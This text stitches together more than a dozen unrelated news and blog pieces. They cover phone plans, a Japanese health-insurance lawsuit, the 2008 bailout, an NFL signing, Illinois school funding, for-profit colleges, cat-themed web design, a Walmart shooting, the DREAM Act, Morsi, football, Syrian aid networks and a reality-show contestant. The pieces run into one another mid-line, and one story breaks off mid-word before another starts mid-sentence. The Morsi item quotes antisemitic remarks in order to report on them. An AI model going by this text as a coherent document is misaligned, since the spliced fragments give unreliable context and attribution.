The younger the user, the higher the data consumption. For the family category, we looked at plans that offered two lines with at least 10GB—enough for extensive music and video streaming, for instance. The other two lines needed to offer at least 4GB of data, which should suffice for an average user.
Why it wins: Deep multiuser price breaks on T-Mobile’s unlimited plan make it an excellent value for a family. T-Mobile says it has focused on significantly expanding its 4G/LTE network in the past two years, and the resulting improvements have helped make the carrier’s offerings more attractive. For $140 a month with an autopay discount, you get access to an above-average network and a carrier that has the third-highest J.D. Power customer service rating of the 15 carriers we evaluated. The price includes taxes and fees—a no-surprises approach that’s unusual among the Big Four carriers—and data is unlimited, so you don’t have to worry about having your kids push you into overage charges. Like most unlimited plans, T-Mobile does start to restrict data speeds, but not until you hit 32GB, higher than nearly every other plan MONEY evaluated.
Tradeoff: If you value high-definition video streaming, you’ll need to pay an extra $5 per person each month. Otherwise the plan limits you to DVD-quality playback.
Terms:
Data: Unlimited
Annual Cost: $1,680 with autopay discount
Pick the Plan for You
If none of these preceding plans fit your needs—if your family has more members, or fewer, for instance, or you need different amounts of data—MONEY has created a tool that can deliver a customized result. Answer a few simple questions and you’ll get personalized recommendations based on all the components you’re looking for.
Try it out below!
Why Isn’t My Carrier Here?
Each year MONEY hears from readers wondering why their carrier or plan isn’t among the winners. One common reason: The market teems with nearly 100 secondary players, which lease wireless and data services from the Big Four—and it’s nearly impossible to do a truly comprehensive evaluation of every plan offered. These smaller companies, known as mobile virtual network operators (MVNOs), can come and go quickly, says Joseph Paonessa, founder of BestMVNO.com, but they also can deliver a lot of innovation and niche offerings.
Ting, for example, was the first MVNO with an à la carte menu that lets customers mix and match levels of voice minutes, text, and data; you don’t pay for anything you don’t use. Ting is also known for strong customer service. But none of its offerings include unlimited talk and text, which we required to make fair price comparisons, so they didn’t make the final analysis.
TracFone, another popular MVNO, was in a similar position. It was once the go-to provider for prepaid plans, Paonessa says, and its market share still tops any company outside the Big Four. Yet TracFone remains competitive mainly with inexpensive plans designed for very light users—too basic for the categories we selected.
Finally, we considered Google’s Project Fi, a unique service run on a combination of Wi-Fi and cellular networks that reimburses customers for unused data. Ultimately, we found it too niche an offering. But its ultracheap prices may make it a good fit for someone who lives in an urban area, frequently travels internationally, and is willing to use one of the four Android models it allows.
This story has been updated to factor in new information on Cricket’s autopay discount, which changes the pricing for our Best Couples Plan winner.
We’ve included affiliate links in this article. Click here to learn what those are.On November 7th, 2015, a union member's suit against his employer, International Education Services (IES), was settled in court mediation with the member winning each point he sued for. ("IES Sued Over Failure To Enrol In Shakai Hoken").
Foreign workers are often lead to believe that they are not eligible for shakai hoken (Employee's Health and Pension Insurance), or that - since they don't want the pension - they are better off with only kokumin kenkō hoken (Nation Health Insurance (NHI), via their local municipal office). Well, we hope this story will make you think again!
Our member has worked at IES full time for over ten years, but was never enrolled in shakai hoken. Thinking he wasn't eligible for enrolment, he decided to remain in the kokumin kenkō hoken system.
After coming to the General Union about another matter, he was shocked to find out that, not only was he eligible for shakai hoken, but that he had also been paying through the nose for kokumin kenkō hoken. The health insurance premium he was paying was much, much, more than the health insurance premium for shakai hoken - and almost as much for the health and pension combined (in shakai hoken health and pension are deducted together).
Therefore, not only was he getting ripped off for health insurance, he had also lost 14 years of pension contributions, too. In addition, for all that time, his company was not contributing even one yen to the system by not enrolling him properly.
Since we were not able to make any progress at the bargaining table the member, with the help and support of the General Union, decided to sue IES for their egregious failure to enrol him.
However, it was a little complicated due of the twin issue of both health and pension insurance. He couldn't sue over future pension losses because he's not yet 65 - but we did mange to sue over the difference in price between kokumin kenkō hoken and the health insurance portion of shakai hoken.
To cut a long story short, the General Union is pleased to announce that we won!
Here's a run down:
1. He was enrolled currently and retroactively (for two years) in both shakai hoken and koyo hoken (Unemployment Insurance).
2. The company agreed to pay the difference in the price between the two health insurances for the past eight years (this was was the maximum).
3. Since the money from point two was similar to the member's portion of the back enrolment in point one, the company covered the full cost of the back enrolment, in addition to paying some cash settlement. Due to now being back-enrolled in shakai hoken, the member is also entitled to a full refund for his kokumin kenkō hoken payments for the past two years. This money is all his.
4. The company also agreed in writing that it is their responsibility to enrol employees in health, pension, and unemployment insurance.
The company had claimed that they offer enrolment to everyone, but our member had refused enrolment (which our member wholly disputes). A company has a legal obligation to enrol everyone, not just "offer" enrolment, and point four fully underlines this.
In the end, after court costs, our member did not win a great sum of money - but he did it to make sure that his rights, and the rights of his co-workers, were protected. We salute him for his efforts in going through the whole process.
Are you in a similar situation? Cases like this help all of us, as companies are more likely to agree to changes when they see that their chances in court are slim.Paulson, Bernanke, and Congress are conspiring to make the US taxpayer the fall guy for financial stupidity by banks and brokers. Congress is now willing to ram through legislation at the last moment, even though Senate Majority Leader Reid Says "No One Knows What to Do".
Please consider Paulson, Bernanke Push New Proposal to Cleanse Balance Sheets (at taxpayer expense).
U.S. Treasury Secretary Henry Paulson and Federal Reserve Chairman Ben S. Bernanke proposed moving troubled assets from the balance sheets of American financial companies into a new institution.
Congressional leaders who met with Paulson and Bernanke late yesterday in Washington said they aim to pass legislation soon. The initiative, which may also insure money-market funds, is aimed at removing the devalued mortgage-linked assets at the root of the worst credit crisis since the Great Depression.
The effort is a recognition that Paulson's and Bernanke's steps have so far failed to revive financial and housing markets. The government took over American International Group Inc., Fannie Mae and Freddie Mac in the past 12 days, a period when Lehman Brothers Holdings Inc. filed for bankruptcy and Americans pulled a record $89 billion from money-market funds.
Securities and Exchange Commission Chairman Christopher Cox, who attended the gathering with lawmakers, said the SEC planned to consider more rules to guarantee market liquidity. The commission is weighing a ban on short-sales of the shares of Wall Street brokerages after Morgan Stanley fell 39 percent this week, said a person familiar with the matter.
My Comment
Options under consideration include establishing an $800 billion fund to purchase so-called failed assets and a separate $400 billion pool at the Federal Deposit Insurance Corp. to insure investors in money-market funds, said two people briefed by congressional staff who spoke on condition of anonymity because the plans may change.
My Comment
Another possibility is using Fannie and Freddie, the federally chartered mortgage-finance companies seized by the government last week, to buy assets, one of the people said.
"We will try to put a bill together and do it fairly quickly," House Financial Services Committee Chairman Barney Frank, a Massachusetts Democrat, said after the meeting. "We are not in a position to give you any specifics right now" on the proposals, he said when asked about the potential cost.
My Comment
"good thinking"
"It sounds like there's going to be a giant dumpster for illiquid assets," said Mirko Mikelic, senior portfolio manager at Fifth Third Asset Management in Grand Rapids, Michigan, which oversees $22 billion in assets. "It brings up the more troubling question of whether the U.S. government is big enough to take on this whole problem, relative" to the size of the American economy, he said.
My Comment
Senator Richard Shelby of Alabama and some other Republicans have criticized the takeovers of AIG, Fannie and Freddie for imposing a potentially high cost on taxpayers.
"We cannot protect all risk in the market, and we shouldn't do it at the risk of the taxpayer,"Shelby, the ranking Republican on the Senate Banking Committee, said in an interview with Bloomberg Television this week.
My Comment
Unexpected Superb Analysis Of The Month AwardPeople were telling Kevin Boss to enjoy his first free-agency period.
But Boss didn’t enjoy the week that felt like a month as he waited for offers to come in and decisions to be made. He didn’t enjoy thinking about the perception fans would have if he decided to leave the Giants. And when he did make that choice, and had to fight back tears while telling Giants tight ends coach Mike Pope over the phone on the way to the airport he was leaving, he definitely wasn’t enjoying himself.
“Probably the hardest thing I’ll ever have to do in my life and the hardest decision I’ll ever have to make,” the new Oakland Raiders tight end said by phone tonight, as as he took a break from the crash course he's taking in his new playbook. "I had four of the better years of my life spent there in New York. It was extremely excruciating leaving.
“Just the way the fans have embraced me since Day One and the organization was great to me, I had an amazing time. It was hard to say goodbye.”
Boss made a trip to Oakland late last week and then returned to his Jersey home, where he mulled an offer for four years, $16 million from the Raiders. He hoped the Giants would match, but they never did.
Boss wouldn’t discuss specifics, but given his thoughts toward staying with the team that drafted him, it’s likely the Giants’ offer wasn’t close to the deal he signed with Oakland, which included $8 million guaranteed.
Like all free agents, Boss understands it’s a business. Yet he knew many others wouldn’t. That's why he can't yet bring himself to read any articles from the New York-New |
community to say, 'When the 1.2 patch comes up for public test, we really want you to come over. We want a lot of people to jump on there. We have a lot of QA, but we can't simulate the load or the gameplay of players on every single system. It also lets players give us feedback [on balance]."
SWTOR is a rare breed of MMO today that exists not on the free-to-play model, but on subscriptions. Asked if the subscription model will be viable only for high-end, high-budget MMOs going forward, Dickinson replied, "It probably is. There is room and there always will be room for the ultra-premium service that merits a subscription, but in order to play at that level -- we are an expensive game -- we have to invest a lot."Democrats in the Senate pushed through legislation Tuesday that would change how the state divvies up dollars among local school districts, a move Republicans blasted as a bailout for cash-strapped Chicago Public Schools even as the proposal faces an uncertain future in the House.
Sponsored by Sen. Andy Manar, D-Bunker Hill, the measure is the latest in a decadeslong attempt to rewrite the state's school aid formula amid complaints that poorer districts unable to rely on property tax revenue to pad classroom funding are falling further behind their wealthier counterparts flush with property tax dollars.
But efforts to overhaul the system have had numerous starts and stops. There's a limited amount of money to go around, and relatively well-off districts don't want their share of state funding cut as lawmakers try to boost aid for poorer schools.
That dynamic was on display Tuesday, when the legislation passed 31-21 along partisan lines. Manar and fellow Democrats argued a change would bring about parity for schools across the state, while suburban lawmakers decried it as an effort to shift funds away from their schools to the benefit of Chicago.
They pointed to a provision in the bill that would pick up more than $200 million a year in teacher pension costs for CPS, as well as hundreds of millions more set aside to help the district pay for transportation for special education students, early childhood education programs and private tuition.
"CPS is burning to the ground. It's in dire straits. And I recognize that somehow, some way, the state's going to need to be involved in helping keep Chicago alive. I get that. But this is not honest. This is not the right way to do this," said Sen. Matt Murphy, R-Palatine. "If you are a suburbanite, they are coming after you."
Republicans have instead pushed Gov. Bruce Rauner's plan to pump another $55 million into education spending this year and sort out the funding formula later, a move Manar said would only exacerbate the situation.
"What we do know today is that the system the governor has proposed is $55 million that earns a whole bunch of school districts less money," Manar said. "That's what we have to measure this bill against, a system that spends more with outcomes that aren't as good."
Rauner has accused Democrats of embracing the school funding formula issue as a way to prevent schools from opening on time amid the continuing budget stalemate that's left Illinois without a complete budget for the last 11 months. Rauner vetoed most of the spending plan Democrats sent him, save for the portion that ensured schools opened in the fall — even though Republican lawmakers voted against the measure at his direction.
That has frustrated Democrats, who see Rauner taking credit for funding schools even though it was Democrats who sent him the bill. On Tuesday, Manar balked at the suggestion that he would hold up dollars for schools in exchange for his proposal, saying, "I don't presume I have the authority to."
"I don't think anybody wants to see that," Manar said. "That would inject more uncertainty into the system. That would amplify the challenges that the poorest districts face today."
In a statement, Chicago Public Schools CEO Forrest Claypool said the Senate vote was "an important step forward" for school districts populated with predominantly low-income and minority students."Too many districts — including Chicago — are struggling under the weight of Illinois' last-in-the-nation approach to educating students in poverty," Claypool said.
But there are doubts the bill will even be called for a vote in the House, where Democrats have a slimmer majority and are less willing to embrace controversial legislation that could see some of their schools lose out on dollars. Lawmakers there have been holding their own hearings on a potential change to the funding formula, though specific legislation has yet to emerge.
"There's still a lot more discussion we need on (elementary and secondary education) than where we are at right now," said Rep. Will Davis, D-Homewood, who chairs the education appropriation committee. "Whether or not the leaders, as we would call them, have an interest in holding off on (grade and high school funding). I'm not necessarily encouraging that, but what I am encouraging here is an opportunity to really take a look at what we want to do with (that) funding, moving forward, in a substantial way."
Chicago Tribune's Juan Perez Jr. contributed.
mcgarcia@tribpub.com cbott@tribpub.comAre you interested in a new career? Are you looking for specialized training and a high-paying job in computers, fashion or health care?
Well, a lot of people must be, because companies selling that dream, the for-profit career colleges, are one of the fastest growing area in the field of education.
As Correspondent Steve Kroft first reported last January, it's a multi-billion dollar business with most of the revenues guaranteed by the federal government -- and until recently, the industry was the darling of Wall Street.
Now, it's under scrutiny, with one of the biggest players facing allegations that it deceived investors, the federal government, and students, who say they've been taught a very expensive lesson.
If you've ever watched daytime TV, you've probably seen one of Career Education Corporation's ads offering students a brand-new life.
"Ever think you could be part of this? With the right training, you can!"
That one was for the Katharine Gibbs schools, which were bought by Career Education Corporation (CEC) in 1997, and make up just a small part of its scholastic empire.
A year ago, CEC was one the hottest stocks on the NASDAQ exchange, with five years of record growth and $1 billion in annual revenue. It comes from nearly 100,000 students at 82 different campuses, taking classes in everything from computer animation to the culinary arts.
Brooks College in Long Beach, Calif., offers training in fashion and design, but its graduates have a special nickname for their alma mater: "Crooks College."
Why?
"'Cause they robbed us," says one graduate.
"Everything was a lie," says another.
What was the biggest lie?
"Job placement -- 98 percent job placement," several graduates said. "They said, like, starting $30,000 a year, $30,000 or more."
Brooke Shoelberg, Chanee Thurston, and Amanda Harris enrolled to study fashion merchandising after the school signed them up for tens of thousands of dollars in student loans, and showed them videos promising to help them get jobs with companies like Giorgio Armani.
Did Brooks College find any of them a job? No, they said.
Did it make an attempt to find them a job? Again, they said no.
The school declined to comment, but 60 Minutes knows that all three women graduated near the top of their classes. A year later, none had been able to find the kind of job she was supposedly trained for.
Shoelberg was managing a telephone store; Harris was unemployed; and Thurston was selling T-shirts. All of them went heavily into debt to get a two-year degree they now believe has little value.
"The school has no credibility with the fashion industry whatsoever," says Thurston, whose complaint is just part of a chorus of complaints under investigation by the Justice Department, the Securities and Exchange Commission, and laid out in a number of lawsuits against CEC by former students, investors and employees.My favorite co-worker is disruptive and has thrown up in my laptop bag.
As website design folks who work from our respective homes, John and I have co-workers of the furry variety. Our cats keep us company in our offices. Mine has zero respect for personal space and a clear distaste for my old laptop bag, while John’s cat just appears to judge his choices.
The last time Foosball (my cat) was perched on my desk trying to take control of the mouse, I wondered – what if cats designed websites?
So. Much. Gated. Content.
I’ve worked harder to win a cat’s affections than I’m proud to admit. Sure, cats will sit on your lap unexpectedly or nuzzle you without prompting and it’s magical. But they often make you work for their love. My cat will walk right up to me, meow for attention, and then walk away as soon as I lean down to pet her. Seriously?
With that type of attitude, I would expect feline website designers to make users work for their content. They might require you to accurately answer cat trivia, and complete a challenging “captcha” before getting past the home page.
And if you want valuable white papers or cat-related research (the equivalent of the rare kitty belly rub) you better believe you’re paying for that.
If I Fits, I Sits
Once you get past the myriad gates in front of their content, brace yourself. An innate cat trait is the desire to sit within small boxes or other containers. If they fits, they sits. Why would we expect any different in cat-designed websites?
Expect a lot of long-scrolling pages with dense content. Because if a cat can fit all their stuff in one place, they will. Even if they can’t, they’ll try.
Meowum Awesome
I imagine cats would have their own take on Lorem Ipsum filler text. They’d stumble upon it by accident, when taking a snooze on the keyboard or sprinting across the desk. Then they would then turn it into an art form revered by the people.
For Example: sdkjfhadkf dfkjh sdflkj eipv lsd sasss odiag ladlke. Asdlkhj djhck eoe dd alke bojsy elkjbpeh. Jsdlkj swmx. Kwz alkj tlkw; xjicug poc.
Sdkjfhadkf dfkjh sdflkj eipv lsd sasss odiag ladlke. Asdlkhj djhck eoe dd alke bojsy elkjbpeh. Jsdlkj swmx. Kwz alkj tlkw; xjicug poc. sdkjfhadkf dfkjh sdflkj eipv lsd sasss odiag ladlke. Asdlkhj djhck eoe dd alke bojsy elkjbpeh. Jsdlkj swmx. Kwz alkj tlkw; xjicug poc.
They’d probably call it meowum awesome.
Freaking Laser Beams
Because they freaking can.
Static Content
Don’t expect cats to redesign their existing websites. Creatures of habit and routine, cats are adverse to change. Just ask Foosball how she behaved when we moved her from Ohio to North Carolina. She pooped, guys. She pooped where she shouldn’t have. We got the message loud and clear.
Their static content could mean that their websites don’t evolve to keep up with the times. But science has proven that the internet loves cats, so I still think they’d do just fine as web designers.
Now that I really think it through, I probably won’t be training Foosball to take over my job anytime soon – the mouse alone would be a major barrier to productivity. So instead I’ll just enjoy her odd demonstrations of love and show her mine by letting her chase my cursor around the screen.That Idaho mother shot to death by her 2 year-old son in a Walmart store? Judging by Veronica Jean Rutledge's biography, you can be just about certain that she'd driven to the store wearing a seat belt, with her little boy buckled carefully into his car seat.
By all accounts, Rutledge, age 29, was that kind of mother: loving, diligent and careful — an entirely admirable young woman. In the aftermath of the tragedy, photos of her shining face are almost unbearable to contemplate.
A high school valedictorian, Rutledge graduated from the University of Idaho with a degree in chemistry. She was a promising research scientist at Batelle's Idaho National Laboratory, working on reducing the toxicity of nuclear waste.
It would appear to follow that her child's home environment was carefully child-proofed, with household poisons stored safely away and dangerous objects placed out of reach. Rutledge probably would never have dreamed of letting her son play outside unsupervised, nor left him alone in the bathtub.
And yet she carried a loaded semi-automatic handgun in her purse on a post-Christmas shopping trip and left it unattended in a shopping cart, where the child took it out and somehow pulled the trigger.
Rutledge died instantly there in the electronics aisle.
Very likely her son is too young to understand or remember what happened, although it will shadow his life forever.
In the immediate aftermath, Terry Rutledge, Veronica's father-in-law, gave an ill-advised interview to a Washington Post reporter expressing anger that anybody would use the tragedy "as an excuse to grandstand on gun rights," as the article put it.
"They are painting Veronica as irresponsible, and that is not the case," he said. "... I brought my son up around guns, and he has extensive experience shooting it. And Veronica had had handgun classes; they're both licensed to carry, and this wasn't just some purse she had thrown her gun into."
Oh no, it was a designer item produced by an Illinois firm called Gun Tote'n Mamas with a zipped compartment for carrying a concealed handgun — given to her as a Christmas present from her husband.
Nevertheless, Rutledge made an incomprehensible blunder, and it cost her life. The blunder, as I see it, of carrying a loaded handgun — with a chambered round, no less — as a kind of fashion accessory, a totemic item signifying her cultural identity.
Her close friend Sheri Sandow explained that for all her academic accomplishments, Rutledge was "as comfortable at a campground or a gun range as she was in a classroom."
OK, fine, but why Walmart? Not because she was fearful, Sandow explained.
"In Idaho, we don't have to worry about a lot of crime and things like that," she said. "And to see someone with a gun isn't bizarre. [Veronica] wasn't carrying a gun because she felt unsafe. She was carrying a gun because she was raised around guns. This was just a horrible accident."
Indeed, she needn't have felt unsafe. The most recent homicide in Blackfoot, Idaho, where the family lived, was six years ago.
The scientist in Veronica Rutledge, had she allowed herself to think about it rationally, would have understood that the pistol in her purse was far more dangerous to her and her child than any external threat. As an NRA adept and a big fan of the guns.com website, however, she evidently became so habituated to carrying a gun around that she quite forgot she had it.
By itself, there's nothing inherently objectionable about target shooting, a harmless pastime like bowling or golf. I own a target pistol myself, and take it out sometimes to plink aluminum cans. I also own shotguns, although I no longer hunt.
But when a hobby verges upon obsession, you're talking about cultlike behavior. Spend a few minutes browsing around Guns.com and maybe you'll see what I mean. Current features include Kid Rock's gun collection, and the effects of shooting a giant Gummi Bear with a 12-gauge.
Cool!
In a recent New Yorker article Adam Gopnik explains the political psychology of guns. The great majority of Americans agree that there should be sensible limitations on the possession and use of tools whose function is killing, "while a small minority feels, with a fanatic passion, that there shouldn't. In a process familiar to any student of society, the majority of people in favor of gun sanity care about a lot of other things, too, and think about them far more often; the gun crazy think about guns all the time, and vote on the issue with fanatic intensity."
Hence handguns as costume jewelry, totems signifying one's membership in the NRA tribe. Terry Rutledge, however, can rest easy. If the 2012 Newtown, Conn., massacre failed to bring reform, his daughter-in-law's death won't change anything significant.
Except possibly the behavior of anybody tempted to pack heat around little children.To some, the DREAM Act is a beacon of American opportunity and big-heartedness, a sign that young immigrants who work hard are still welcome here and have an important contribution to make. To others, the legislation is a slippery slope, a first step toward a broad amnesty for lawbreakers who slipped into the US illegally and remain unrepentant and unpunished.
Whether the measure becomes law is now up to the US Senate. The bill, which creates a path to US citizenship for young people who were brought into the country illegally while minors, cleared the House late Wednesday, 216 to 198.
Prospects in the Senate are considered dim. In a preelection September vote, the DREAM Act went down 52 to 44. Since then, its supporters and opponents have been making last-ditch efforts to sweeten the measure and to sway lawmakers who may be teetering on the fence. The Senate is expected to take it up Thursday.
For a decade, various versions of the DREAM Act have been proposed – to no avail. In the latest bill, people would be eligible for conditional nonimmigrant status (a temporary way to be in the US legally) if they are under the age of 30, living in the US continuously for at least five years, and were brought to the United States before they were 16. They also must earn a high school diploma, GED, or college acceptance, and undergo various background checks. People would then be able to gain permanent resident status, and apply for citizenship, after 10 years and after completing two years of college or military service.
“The bottom line is a clash of two philosophical approaches,” says Jeanne Batalova, policy analyst at the Migration Policy Institute in Washington. “Giving a legal path to anyone who is considered to be a lawbreaker is seen as amnesty. On the other hand, the DREAM has been seen as [the part of immigration reform] most likely to succeed, because it’s about children who were brought here when they were small.”
President Obama is in the latter camp. He has worked the phones in recent weeks on behalf of the bill, and his staff on Wednesday sent out a tweet urging people to call their senators and representatives. Administration officials have been pushing hard to persuade the public that passing the bill would support not only education and the economy, but even homeland security.
Student supporters have gone on hunger strikes to call attention to the limbo that many young high school graduates find themselves in when it’s time to apply to college or pursue jobs and their illegal status becomes a barrier.
Opponents see it as a back-door amnesty, and addressing students’ immigration status while other key immigration issues remain unresolved is proving difficult. The DREAM Act, they say, would exacerbate illegal immigration problems by rewarding families who didn’t wait in line.
“It is still a broad amnesty,” says Ira Mehlman, a spokesman for the Federation for American Immigration Reform (FAIR) in Washington. “There is absolutely nothing in there that promises better enforcement” of immigration laws, he says. And because it’s not limited to students with high grades in high school, he says, “you’ll have people occupying seats at community colleges at a time when many of these institutions are overwhelmed” as citizens go back to school to improve their job prospects.
Immigrant groups tout the bill as a top priority, and Hispanic voters in particular have put the heat on Obama and a Democratic Congress to deliver.
“For Latinos... the ‘DREAM Act’ vote is a defining moment.... America cannot afford to lose another generation of young people who stand to contribute to its economic and social prosperity,” said Janet Murguia, president and CEO of the National Council of La Raza, in a press statement Wednesday.
In New Jersey, presidents of 11 of 19 community colleges sent a letter last week to their congressional delegation urging support of the bill.
The age cap of 29 was put in place recently to address critics' concerns. Other recent changes include a requirement that applicants be able to speak and write in English, and a waiting period of 12 years before they could begin the process of sponsoring parents or siblings, who would have to leave the country for 10 years before gaining legal status.
The Migration Policy Institute estimates that about 2 million people could apply, but based on historical trends in education, it finds that fewer than 800,000 would likely meet the qualifications for permanent status.
Obama applauded the House vote and urged the Senate to do likewise.
"This vote is not only the right thing to do for a group of talented young people who seek to serve a country they know as their own by continuing their education or serving in the military, but it is the right thing for the United States of America," Mr. Obama said in a statement. "We are enriched by their talents and the success of their efforts will contribute to our nation's success and security. As as the non-partisan Congressional Budget Office found, the DREAM Act would cut the deficit by $2.2 billion over the next 10 years."
Seven Republican senators voted for a version of the bill in 2007, so proponents are targeting many of their efforts to get them to vote in favor of the current version.
Speaking on the Senate floor Thursday morning, Sen. Richard Durbin (D) of Illinois said of the eligible students: “There is a place for them as there was for my mother, who came to this country at the age of two as an immigrant, whose mother and father could barely speak the English language but who eventually gave birth to a son who stands before you today.... My story is an American story. And the story of these DREAM Act students is an American story, of fighting against the odds, coming from other places determined to be part of this great nation, and making a contribution that makes a difference. I pray that... before this Congress packs up and leaves that we will address this issue.”
If the bill does not pass Thursday, it might have to wait until Congress is ready to address immigration reform more comprehensively, and with Republicans controlling the House and holding more sway in the Senate come January, enforcement issues could take center stage.
Obama's statement acknowledged that the DREAM Act addresses only part of the illegal immigration problem. It is "a piece of a larger debate that is needed to restore responsibility and accountability to our broken immigration system broadly," he said.As Egyptian President Mohammed Morsi said that virulent anti-Semitic comments which he reportedly said prior to his election were taken out of context, the Middle East Media Research Institute (MEMRI) released another video which depicts him making similar comments.
The latest video is an address delivered by Morsi, which was posted on the Internet on January 10, 2010. It was translated by MEMRI and published on Wednesday.
In the newly exposed remarks, Morsi calls U.S. President Barack Obama “insincere” and calls for Arabs to raise their children on hatred of Jews.
“One American president after another – and most recently, that Obama – talks about American guarantees for the safety of the Zionists in Palestine,” Morsi said. [Obama] was very clear when he uttered his empty words on the land of Egypt. He uttered many lies, of which he couldn’t have fulfilled a single word, even if he were sincere – which he is not.
“Dear brothers, we must not forget to nurse our children and grandchildren on hatred towards those Zionists and Jews, and all those who support them,” he added. “They must be nursed on hatred. The hatred must continue.”
The earlier video released by MEMRI shows that Morsi, also in 2010, rejected negotiations between Israel and the Palestinian Authority and referred to Jews as “apes and pigs.”
The United States later condemned those remarks and urged Morsi to immediately clarify his views.Manchester City defender Eliaquim Mangala believes Raheem Sterling is destined to become a key player at the Etihad Stadium and will only get better in the years to come.
The England international has developed into an important part of the first team at City since joining the club from Liverpool ahead of the 2015-16 campaign and has already netted eight goals from 22 appearances in all competitions.
Sterling scored twice and set up another in the 4-2 Champions League win over Borussia Monchengladbach on Tuesday and Mangala is confident there is still more to come from the 21-year-old.
"He did really well for us on Tuesday and he's shown he can score important goals for us," Mangala told the official City website.
"He's a great talent and he wants to learn and keep improving and I'm certain he will."
Manuel Pellegrini's men clinched top spot in Group D following the results on Tuesday, but Mangala is not getting carried away just yet.
"It's good to finish top of the group, but we'll wait and see what happens in next week's draw," he added.
"You need to improve in this competition and you have to work to do that, but we feel we are learning all the time."“All our lives we were raised to be afraid,” said a university student who is involved in the relief effort. “But you get to a point where you realize you are strong because you can speak and do.”
Those involved with the network also say it undermines the government’s effort to divide and conquer, whether on sectarian, ethnic, class or geographical lines. For the past year, the government has been stoking fears of ethnic conflict and the prospect of a militant Islamist takeover as a way to coerce tacit support from Syrians of all sects and ethnicities.
The government has also exploited geographical divisions, analysts say, as resentment has grown among residents of the besieged cities toward those of the major cities of Damascus and Aleppo, who have not risen in significant numbers.
Aid from those cities, particularly from the relatively unaffected capital, subverts that narrative, supporters say. By taking an active role in the conflict, Damascus residents can push back against the capital’s facade of relative normalcy.
But they risk arrest by doing so. Two women were taken in broad daylight from a cafe last month, as was the son of a doctor this month, for helping stockpile and deliver medicine, activists say. Another man was arrested after collecting Easter chocolate to send to Christian children in Homs and was held for several weeks. The authorities have even detained a psychiatrist who was training volunteers to help children who have been traumatized by an uprising that has churned for more than a year.
“They want to get rid of the idea that the people can help each other,” said a social scientist who is a participant in the network and, like others interviewed, did not want to be identified. “They don’t want there to be solidarity among the Syrian people.”
Those involved say they were moved to act by the realization that the government had no intention of responding to the humanitarian crisis caused by its own siege of Syrian cities, which has resulted in the internal displacement of hundreds of thousands of people. Those with the means have filled Damascus hotels, which have offered drastically reduced rates to Syrians fleeing the violence, and those without have been welcomed in the homes of less affluent Syrians on the outskirts of Damascus.
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Providing relief is “not disallowed in law, but we understood from the security that it was illegal,” said one participant who noted that the most dangerous items to smuggle were medicines. “We began to fear for our people so we stopped medicine, stayed to food.”
Every stop on what has become a sort of underground railway is shrouded in secrecy: requesting supplies, confirming the needs, delivering goods, fund-raising and collecting donations are carried out by separate cells. To safeguard the network, participants know the identities of only the immediate people they deal with. Members estimate that there are hundreds of people working in the network in greater Damascus and that well into the thousands within Syria are contributing money and supplies.
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But people who want to help say they have no choice but secrecy, citing the results of an attempt in March to openly organize an aid caravan to Homs.
The organizers created a nonpartisan Facebook page called “Carrying Homs in Our Hearts,” with a logo of a hand holding an olive branch. The page identified organizers’ real names and phone numbers as people who would receive donations to take to Homs.
In three weeks, they had gathered 40 tons of food and signed up 200 people to deliver it to the stricken city. On March 19, they set out in a convoy of three buses and vans, wearing white hats emblazoned with the logo and large identification tags hanging from lanyards around their necks, reminiscent of the public service outings that organizations carried out before the conflict began.
But minutes after their departure, they were stopped by the traffic police. After a day of wrangling with security services and a call to the satellite television channel Al Arabiya, a deal was struck in which the Red Crescent was allowed to deliver the goods to Homs, but the volunteers were prohibited from going.
Syria has a strong cultural practice of charity and giving, with several hundred institutions available for Syrians to contribute to. But government restrictions have rendered them ineffective for providing aid during the conflict.
Several of these organizations are also now working in secret, people here said.
The government has tried to appear responsive to the crisis. In April, President Bashar al-Assad and his wife, Asma, were shown on state television at a stadium full of euphoric volunteers filling bags with sugar and rice to be distributed to those in need throughout Syria. The undertaking was staged by Syria Trust, a nongovernmental organization, whose board chairwoman is Ms. Assad.
But many families in Homs refused the aid, activists said, because the trust is government financed.
“They caused this,” said a woman from Homs. “They bombarded us just so they could then help us? Don’t attack us at all!”
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The social scientist said the government was trying to use the aid to its advantage. “They want to make it look like only the government can provide,” he said, and by implication, that the government can also take it away.
Some of those involved in the aid network say its impact extends beyond meeting humanitarian needs. The man who delivered the blood bags to Homs said the network connected and empowered Syrians at a time when violence threatens to fray the society.
His immediate cell includes a Christian, a Druse and a Kurd, representatives of minority groups whose members have in many cases remained loyal to the government or neutral out of fear of repercussions if the government fell.
When he recently delivered money to a community of displaced people, he surprised a religious leader who preached the need for a Sunni uprising when he told him the money was raised by and from several Christians.
With the conflict now well over a year old, the man says he keeps asking himself how much longer he will be able to continue. “I’m really much better at my real job than I am as a relief worker,” he said, adding that he was weary but ready to carry on.Wes, Derrick, LeRoy, Bananas, Jordan, Landon, Kenny, Darrell, Alton, and CT. These are all of the male competitors in Challenge history who have won 5 or more eliminations in their career. Except it’s missing one person… Mr. Nelson Thomas. In three seasons, Nelson has compiled a 5–1 elimination record, a couple daily mission wins, and a second place finish on Invasion of the Champions. Nelson’s elimination stats put him with other all-time great players; it’s not a matter of if Nelson will ever win a Challenge, it’s a matter of when. He is a flawed player who has found a way to maximize strengths in order to compete with the best. The most similar all time players to Nelson are Wes (optimistic), Cara Maria (realistic), and LeRoy (pessimistic). At the end of the day, all great players to be compared to.
Nelson was an unknown face after Are You The One? and his first Challenge season. He was only the guy with a killer bod and a tiny bit of a temper. If you’ve ever seen the phrase “whatever doesn’t kill you, makes you stronger.” It becomes the mantra of Nelson’s entire Challenge career. He started his Challenge career as a bad player who was near the bottom in most missions, but after every elimination win he came back a little more confident and began doing better in missions to the point he was average in them. After winning the Underdog Bloodbath, Nelson destroyed the final, and was the only person out of the final six to complete every single portion and not receive a time penalty. Then he went on Dirty 30, won the first regular daily mission of the season, and performed at least average in the rest of them.
When he eliminated Hunter on Dirty 30, Nelson had to face the house 7–1, except he had a look on his face after the elimination that made it seem like anyone facing Nelson in elimination would have to see a person who won’t give up. And then he decided to be wack and slap Derrick in the face while drunk, ending his season there. Nothing is worse than losing a season due to a disqualification because you ended up beating yourself. Never throw away a game you worked hard to play for one drunken moment. Even if Nelson would not have won the season, he probably would have taken a vet or two out in the process, and people within the game would have more respect for him.
Nevertheless, Nelson is back for his fourth season and is ready to get his first win.
